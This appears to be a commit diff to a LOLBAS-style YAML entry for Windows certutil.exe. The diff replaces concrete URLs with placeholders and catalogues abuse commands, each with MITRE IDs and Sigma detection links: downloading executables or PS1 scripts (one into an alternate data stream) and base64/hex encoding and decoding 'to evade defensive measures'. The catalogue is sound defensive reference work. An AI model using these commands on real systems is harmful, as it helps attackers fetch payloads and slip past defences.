11---
22Name : Certutil.exe
33Description : Windows binary used for handling certificates
4- Author : ' Oddvar Moe'
4+ Author : Oddvar Moe
55Created : 2018-05-25
66Commands :
7- - Command : certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64. exe 7zip .exe
8- Description : Download and save 7zip to disk in the current folder.
7+ - Command : certutil.exe -urlcache -split -f {REMOTEURL:. exe} {PATH: .exe}
8+ Description : Download and save executable to disk in the current folder.
99 Usecase : Download file from Internet
1010 Category : Download
1111 Privileges : User
1212 MitreID : T1105
1313 OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
14- - Command : certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64. exe 7zip .exe
15- Description : Download and save 7zip to disk in the current folder.
14+ - Command : certutil.exe -verifyctl -f -split {REMOTEURL:. exe} {PATH: .exe}
15+ Description : Download and save executable to disk in the current folder.
1616 Usecase : Download file from Internet
1717 Category : Download
1818 Privileges : User
1919 MitreID : T1105
2020 OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
21- - Command : certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test. ps1 c:\temp :ttt
21+ - Command : certutil.exe -urlcache -split -f {REMOTEURL:. ps1} {PATH_ABSOLUTE} :ttt
2222 Description : Download and save a PS1 file to an Alternate Data Stream (ADS).
2323 Usecase : Download file from Internet and save it in an NTFS Alternate Data Stream
2424 Category : ADS
2525 Privileges : User
2626 MitreID : T1564.004
2727 OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
28- - Command : certutil -encode inputFileName encodedOutputFileName
28+ - Command : certutil -encode {PATH} {PATH:.base64}
2929 Description : Command to encode a file using Base64
3030 Usecase : Encode files to evade defensive measures
3131 Category : Encode
3232 Privileges : User
3333 MitreID : T1027.013
3434 OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
35- - Command : certutil -decode encodedInputFileName decodedOutputFileName
35+ - Command : certutil -decode {PATH:.base64} {PATH}
3636 Description : Command to decode a Base64 encoded file.
3737 Usecase : Decode files to evade defensive measures
3838 Category : Decode
3939 Privileges : User
4040 MitreID : T1140
4141 OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
42- - Command : certutil -decodehex encoded_hexadecimal_InputFileName decodedOutputFileName
43- Description : Command to decode a hexadecimal-encoded file decodedOutputFileName
42+ - Command : certutil -decodehex {PATH:.hex} {PATH}
43+ Description : Command to decode a hexadecimal-encoded file.
4444 Usecase : Decode files to evade defensive measures
4545 Category : Decode
4646 Privileges : User
@@ -49,8 +49,6 @@ Commands:
4949Full_Path :
5050 - Path : C:\Windows\System32\certutil.exe
5151 - Path : C:\Windows\SysWOW64\certutil.exe
52- Code_Sample :
53- - Code :
5452Detection :
5553 - Sigma : https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml
5654 - Sigma : https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml
0 commit comments